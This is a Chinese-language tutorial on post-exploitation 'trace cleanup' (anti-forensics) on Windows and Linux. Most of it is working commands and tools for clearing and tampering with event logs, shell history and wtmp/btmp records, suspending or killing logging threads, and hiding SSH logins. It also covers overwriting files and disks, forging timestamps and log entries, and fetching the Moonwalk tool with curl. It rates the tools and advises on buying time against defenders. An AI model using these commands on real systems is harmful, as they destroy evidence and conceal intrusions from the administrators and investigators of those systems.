一、痕迹清理概述
1.1 什么是痕迹清理?
痕迹清理是抹除或替换渗透测试过程中遗留的操作痕迹。通常发生在:
-
后渗透阶段(权限维持、横向移动之后)
-
渗透目标达成时(准备撤出)
-
为了方便长期隐秘渗透而进行的周期性清理
1.2 发生场景
-
内网渗透(最常见)
-
Web 后门操作
1.3 痕迹清理的目的
为下一步渗透测试拖延时间 、提高隐蔽性。
1.4 为什么是这个目的?
所有痕迹清理都不是绝对的,与计算机有接触就一定会留下痕迹 。特别地,第三方日志平台(SIEM、ELK)对攻击者基本无解------已转发的日志无法删除。
1.5 核心原则
痕迹清理是伴随渗透测试过程的(边渗透边清理),而不是渗透完成之后。
二、Windows 痕迹清理
2.1 Windows 日志记录机制

-
svchost.exe:Windows 自带进程,运行时启动专门记录日志的线程。
-
内存堆:操作先缓存为内存内容。
-
XML 解析 :
wevtutil.exe将内存内容转为 XML。 -
日志文件:最终转为可读的事件日志(时间、地点、用户、操作)。
Windows 日志存放路径:计算机 → 管理 → 事件查看器。
2.2 事件日志文件类型(完整表)
| 类别 | 类型 | 描述 | 文件名 |
|---|---|---|---|
| Windows 日志 | 系统 | 系统进程、设备磁盘活动、驱动失败、重复 IP、系统启停等 | System.evtx |
| Windows 日志 | 安全 | 用户权限变更、登录注销、文件/文件夹访问、打印等 | Security.evtx |
| Windows 日志 | 应用程序 | 操作系统安装的应用程序事件(错误、警告等) | Application.evtx |
| Windows 日志 | Setup | 操作系统更新相关 | Setup.evtx |
| Windows 日志 | Forwarded Events | DNS 等服务的转入转出日志 | ForwardedEvents.evtx |
| 应用及服务日志 | Microsoft | 200+ 微软内置日志分类(远程桌面、无线网络、设备安装等) | 详见目录 |
| 应用及服务日志 | Microsoft Office Alerts | Word/Excel/PowerPoint 警告信息(含文件名、路径) | OAerts.evtx |
| 应用及服务日志 | Windows PowerShell | PowerShell 操作日志 | Windows Powersh.evtx |
| 应用及服务日志 | Internet Explorer | IE 浏览器日志(默认未启用) | InternetExplorer.evtx |
| 应用及服务日志 | OpenSSH | SSH 连接日志 | 对应文件 |
| 应用及服务日志 | Visual Studio | VS 相关日志 | 对应文件 |
2.3 常见安全事件 ID(蓝队应急响应必知)
| 事件 ID | 含义 | 说明 |
|---|---|---|
| 1074 | 系统即将关闭 | 正常或强制关机 |
| 6005 | 系统启动 | 开机事件 |
| 6006 | 系统关闭 | 正常关机 |
| 4624 | 成功登录 | 本地或远程登录成功 |
| 4625 | 登录失败 | 密码错误或账号锁定 |
| 4634 | 用户注销 | 会话结束 |
| 4647 | 用户锁定工作站 | Win+L |
| 4648 | 用户解锁工作站 | 输入密码解锁 |
| 4657 | 修改文件/文件夹权限 | 权限变更审计 |
| 4663 | 尝试访问文件/文件夹 | 敏感文件读取 |
| 4688 | 新进程创建 | 执行程序(含恶意软件) |
| 4697 | 安装或卸载服务 | 持久化行为 |

2.4 常见的任务类别
-
帐户登录:用户登录和注销
-
登录:登录到系统的事件
-
对象访问:文件、注册表项访问
-
目录服务访问:Active Directory 对象访问
-
进程追踪:进程创建与终止
-
特权使用:特权操作的使用
-
帐户管理:用户/组账户创建、删除、修改
-
策略变更:本地或域策略更改
-
系统事件:系统启动、关闭及其他级别事件
2.5 事件属性示例
plaintext
日志名称: 应用程序
来源: vmAuthd
事件 ID: 1000
级别: 警告
用户: 暂缺
操作代码: 信息
描述: SSLConfigLoad: Failed to load OpenSSL config file.
2.6 清理用户操作痕迹
⚠️ 注意 :清理操作本身也会产生新日志,因此完全清除痕迹基本不可能。
2.7 清理 3389 远程桌面痕迹
文件痕迹
text
%userprofile%\Documents\Default.rdp
注册表痕迹(包含连接目标及可能缓存的密码)
text
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\
可以使用批处理脚本删除上述文件及注册表项。
2.8 日志文件存储路径与注册表控制
日志文件路径

系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
⚠️ 不可全部删除,目录内含有系统运行配置文件,删除可能导致系统崩溃。
日志在注册表中的键(高级控制)

text
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog
该键下详细记录了日志产生过程及调用的程序模块。如果有注册表写入权限,可以更改调用模块(例如替换 DLL 路径),从而阻止特定日志生成------比事后清理更隐蔽。
2.9 日志清理方法对照表
| 方法 | 命令 / 操作 | 适用场景 |
|---|---|---|
| 手动 | 事件查看器 → 右键日志 → 清除日志 | 少量清理 |
| CMD | wevtutil cl system 等 |
批量清理 |
| PowerShell | `Get-WinEvent -ListLog ... | %{Wevtutil.exe cl $_.Logname}` |
| MSF | meterpreter> cleav |
后渗透模块 |
| CS | 相关插件(未详述) | Cobalt Strike |
详细命令
cmd
# 列出所有日志名称
wevtutil el
# 清理系统日志
wevtutil cl system
# 清理应用程序日志
wevtutil cl application
# 清理安全日志
wevtutil cl security
powershell
# PowerShell 批量清理
Get-WinEvent -ListLog Application, Setup, Security -Force | %{Wevtutil.exe cl $_.Logname}
2.10 最近文件的清理
上传的脚本或文件即使删除,仍会在 "最近使用的文件" 中留下记录,路径为:

text
%userprofile%\Recent\
该目录默认只保留最近 20 个文件。
清理命令
cmd
del /f /s /q "%userprofile%\Recent\*.*"
# 查看最近文件
%userprofile%\recent\
2.11 覆写删除(防止恢复)
cmd
# 覆写单个文件所在盘的空闲空间(三次随机写入)
cipher /w:C:\test
# 格式化整个盘符,并覆写3次
format D: /P:3
2.12 停止日志产生的高级工具
① Invoke‑Phantom(PowerShell)
-
原理:枚举并杀死
svchost.exe中的日志记录线程。 -
缺点:恢复日志功能必须重启系统。
powershell
Import-Module .\Invoke-Phantom.ps1
Invoke-Phantom
② EventCleaner(C++,强烈推荐)
-
原理:挂起日志线程,可随时恢复正常(无需重启)。
-
优点:灵活、隐蔽、可恢复,是内网渗透中最常见工具。
cmd
EventCleaner.exe suspend # 挂起日志线程,暂停记录
EventCleaner.exe normal # 恢复正常记录
2.13 伪造时间痕迹
伪造文件时间戳(PowerShell 脚本)
powershell
Function edit_time($path) {
$date1 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
$date2 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
$date3 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random
(Get-Item $path).LastAccessTime = $date1
(Get-Item $path).CreationTime = $date2
(Get-Item $path).LastWriteTime = $date3
}
edit_time "C:\test"
该脚本随机修改:LastAccessTime (最后访问)、CreationTime (创建时间)、LastWriteTime(最后写入)。
伪造系统日志(微软自带 eventcreate)
cmd
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
-l system:写入系统日志
-so:指定来源(谁生成的日志)
-t warning:事件类型
-d:事件描述
-id 500:事件 ID
三、Linux 痕迹清理
Linux 痕迹清理技术分为两类:
-
清理登录记录与 Host 记录
-
清理日志文件
3.1 隐藏远程 SSH 登录记录
bash
# 不被 w、who、last 检测到
ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i
# 同时不记录 SSH 公钥到本地 .ssh 目录
ssh -o UserKnownHostsFile=/dev/null -T root@xxx.xxx.xxx.xxx /bin/bash -i
-o UserKnownHostsFile=/dev/null:将已知主机密钥文件指向空设备,所有写入被丢弃。

3.2 History 历史命令清理
History 运行原理
全部删除历史记录
bash
history -c # 清空当前会话内存记录(伪删除)
history -w # 用空内容覆盖 ~/.bash_history
删除指定命令
bash
history | grep "keyword" # 找到行号
history -d <num> # 删除指定行
# 批量删除,只保留前15行
sed -i '15,$d' .bash_history
当前 Shell 终止历史记录
方法一:
bash
set +o history # 禁用记录
set -o history # 恢复
方法二:
bash
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG
禁用 History 的三种方法
| 方法 | 操作 | 作用范围 |
|---|---|---|
| 1 | /etc/profile 添加 HISTSIZE=0;source /etc/profile |
全局,新会话生效 |
| 2 | HISTSIZE=0 && HISTFILESIZE=0 |
当前 Shell 立即生效 |
| 3 | ~/.bashrc 添加 HISTSIZE=0 和 HISTFILESIZE=0 |
每次开启 Shell 生效 |
3.3 Linux 日志文件完整清单
| 文件路径 | 记录内容 | 查看命令 |
|---|---|---|
/var/log/lastlog |
每个用户最后一次登录信息 | lastlog |
/var/log/utmp |
当前登录用户信息 | w, who |
/var/log/wtmp |
所有登录/注销历史(二进制) | last |
/var/log/btmp |
失败登录尝试(二进制) | lastb |
/var/log/secure |
认证相关事件(登录、sudo、密码更改) | cat 等 |
/var/log/messages |
通用系统日志(RHEL 系) | cat |
/var/log/syslog |
系统汇总日志(Debian 系) | cat |
/var/log/maillog |
邮件服务器日志 | cat |
/var/log/faillog |
失败登录尝试(旧格式) | faillog |
/var/log/cron |
计划任务日志 | cat |
/var/log/daemon.log |
守护进程日志(cron、sshd 等) | cat |
/var/log/yum.log |
Yum 软件包管理日志 | cat |
/var/log/httpd/ |
Apache 访问/错误日志 | cat |
/var/log/nginx/ |
Nginx 访问/错误日志 | cat |
3.4 清除日志信息
清空特定日志(暴力)
bash
echo > /var/log/lastlog
echo > /var/log/utmp
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/messages
日志全部删除(不推荐,特征明显)
bash
cat /dev/null > filename
: > filename
> filename
echo " " > filename
echo > filename
针对性修改/删除(推荐,动作小)
使用 sed:
bash
# 替换字符串
sed -i 's/旧字符串/新字符串/g' /var/log/secure
# 删除包含关键字的行
sed -i '/要删除的关键字/d' /var/log/secure

使用 grep -v:
bash
cat 目标文件 | grep -v 关键字 > 篡改后文件
cat 篡改后文件 > 目标文件
示例:
bash
cat error.log.1 | grep -v 'caught SIGTERM, shutting down' > test.log
cat test.log > error.log.1
3.5 二进制日志文件修改(wtmp / btmp)
bash
# 转为文本
utmpdump /var/log/wtmp > /var/log/wtmp.txt
# 编辑(例如替换 IP 或时间)
vim /var/log/wtmp.txt
:%s/10.0.0.1/192.168.5.5/g
# 转回二进制并覆盖
utmpdump -r < /var/log/wtmp.txt > /var/log/wtmp
rm /var/log/wtmp.txt
3.6 覆写删除(防止恢复)
bash
shred -f -u -z -v -n 6 目标文件
-n 6:覆盖 6 次(默认 3 次)
-z:最后一次用 0 覆盖,隐藏覆写动作
-u:覆盖后删除文件
-v:显示详细信息
3.7 时间戳伪造
查看时间戳
bash
stat test.txt
显示三个时间:
-
Access(最近访问)
-
Modify(最近修改)
-
Change(最近改动,不可直接修改)
修改 Access 和 Modify 时间
bash
touch -a -d "2023-02-02 11:10:20.000235123" test.txt
touch -m -d "2023-02-02 12:10:20.010242137" test.txt
-d 指定时间,点后为纳秒(随机填写避免全零)。
使用参考文件的时间戳
bash
touch -r ~/.bashrc test.txt
修改 Change 时间(间接方法)
bash
# 1. 修改系统时间
date -s "20230201 16:43:53"
# 2. 操作文件(touch 或修改内容)
touch test.txt
# 3. 恢复硬件时间到系统
hwclock --hctosys
3.8 Moonwalk 工具(Linux 日志清除神器)
Moonwalk 是 400KB 的单二进制可执行文件,可保存渗透前日志状态,渗透后恢复状态(含文件系统时间戳),不在 Shell 中留下痕迹。
特征:
-
小型可执行文件:快速 curl 获取
-
快速:5 毫秒内执行所有会话命令
-
侦察:找到全局可写路径(如
/dev/shm)并创建隐藏目录存储备份,会话结束自动删除 -
Shell 历史记录:恢复为调用前的状态
-
文件系统时间戳:使用
get命令恢复

安装:
bash
# 直接下载 release
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
chmod +x moonwalk
# 或使用 cargo 编译(需 Rust)
cargo install --git https://github.com/mufeedvh/moonwalk.git
用法:
bash
# 开始会话(备份日志状态)
./moonwalk start
# 输出示例:[INFO] Found '/dev/shm/.MOONWALK' as world writable.
# [SUCCESS] Saved the current log states.
# 进行渗透操作...
# 结束会话(恢复日志,删除备份)
./moonwalk finish
# 恢复单个文件的时间戳(给出建议命令)
./moonwalk get test.txt
# 输出:$ touch -a -t 202501100841.36 -m -t 202501100839.14 test.txt

3.9 其他工具:BleachBit
-
官网:Download BleachBit - Free Disk Cleaner for Windows & Linux | BleachBit
-
说明:开源系统清理工具(支持 Windows/Linux),可清理缓存、历史、日志等。
-
⚠️ 注意:非渗透专用,会清理大量常规内容,容易引起管理员警觉,建议仅在撤出阶段使用。
四、综合总结与注意事项
4.1 Windows vs Linux 清理方法对比
| 项目 | Windows | Linux |
|---|---|---|
| 登录痕迹 | RDP 注册表 + Default.rdp | SSH 隐身登录参数(-T) |
| 历史命令 | PowerShell Get-History |
.bash_history + history |
| 日志查看 | 事件查看器 / wevtutil |
cat / less 日志文件 |
| 日志清理 | wevtutil cl / clearev |
echo > / cat /dev/null > |
| 针对性删除 | 手动或脚本(较难) | sed / grep -v 方便 |
| 二进制日志 | .evtx 可解析 |
utmpdump 转换 |
| 停止日志 | EventCleaner 挂起线程 |
set +o history / unset HISTFILE |
| 覆写删除 | cipher / format /P |
shred |
| 时间伪造 | PowerShell 脚本 / eventcreate |
touch -a -m / date |
4.2 推荐工具清单
| 工具 | 平台 | 功能 | 推荐度 |
|---|---|---|---|
| EventCleaner | Windows | 挂起/恢复日志线程,无需重启 | ⭐⭐⭐⭐⭐ |
| Invoke-Phantom | Windows | 杀死日志线程(需重启) | ⭐⭐⭐ |
| wevtutil | Windows | 命令行清理日志 | ⭐⭐⭐⭐ |
| Moonwalk | Linux | 会话级日志备份与恢复 | ⭐⭐⭐⭐⭐ |
| shred | Linux | 覆写删除文件 | ⭐⭐⭐⭐ |
| utmpdump | Linux | 二进制日志转文本编辑 | ⭐⭐⭐⭐ |
| bleachbit | 双平台 | 常规清理(非专用) | ⭐⭐ |
4.3 核心原则与学习路径
重点内容
-
痕迹清理的目的
-
Windows 痕迹记录的机制
-
事件查看器的使用及文件/注册表位置
学习路径
-
蓝队排查技术
-
安全软件工作原理
-
Windows 文件系统(难度大)
-
Windows 事件机制(难度大)
实战注意事项(原文逐条)
-
能单条指定删除就优先使用
为最大化隐蔽性,能单条删除就不批量清空。
-
文件的删除尽量使用覆写的方式
传统删除短时间内可恢复,覆写减少被复原机会。
-
伪造痕迹也很重要
在某些场景下,伪造时间戳或插入假日志比直接删除更可靠。
-
删除指定记录真的很重要
关闭进程记录看似有用,但在有经验的蓝队面前反而暴露攻击时间。删除自己需要的记录才是最实用。
-
网络隧道也是隐藏痕迹的一种方法
端口转发、内网穿透等本质上就是连接痕迹的隐藏方式。
-
思考时间差
评估蓝队的痕迹排查和电子取证能力,估算当前清理能争取到的时间窗口,为下一步行动做好时间规划。
最后提醒 :痕迹清理无法做到绝对隐身,与集中日志平台(SIEM/ELK)更是难以对抗。真正的隐身术在于 最小化操作 + 善用隧道 + 适度伪造 + 时间窗口控制。